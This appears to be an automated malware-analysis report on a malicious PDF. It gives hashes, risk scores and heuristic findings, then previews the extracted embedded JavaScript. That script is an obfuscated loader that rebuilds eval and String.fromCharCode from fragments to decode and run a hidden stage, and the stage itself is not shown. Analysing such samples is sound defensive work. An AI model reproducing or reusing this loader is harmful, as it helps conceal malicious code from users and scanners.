Malicious PDF — malware analysis report

Static analysis result for SHA-256 2b45b3e94964e10d…

MALICIOUS

PDF

44.5 KB First seen: 2013-07-31
MD5: ebc37ad9db81a93cdd4e184a776edf73 SHA-1: 67a7ee329960e7599f47815442b087b6fbe34308 SHA-256: 2b45b3e94964e10dfd9d169b8e585606e59c852222076c7c2d9c443ac22e1ff3
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics including a high-severity ML classifier. The JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not fully discernible from the provided evidence. The generic 'test' document body provides no further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF90 443 bytes
SHA-256: 46a0d4f89c8daab9c65d44b0d14486dce741302b512b8541d20fc1817584d9e8
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ovxg='';
mogy=('qwrwqr','tit');
e('xvqy=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
oukn=e('String.fr'+xvqy.substr(0,10));
ssiv = e(xvqy.substr(10)['replace'](/u/g,','));
e('k=ssiv.length');
for (i = 0; i < k; i+=2) {
	skwq = ssiv[i+1] + ('qweqwe',ssiv[i]);
	ovxg += oukn(skwq);
}
e(ovxg);

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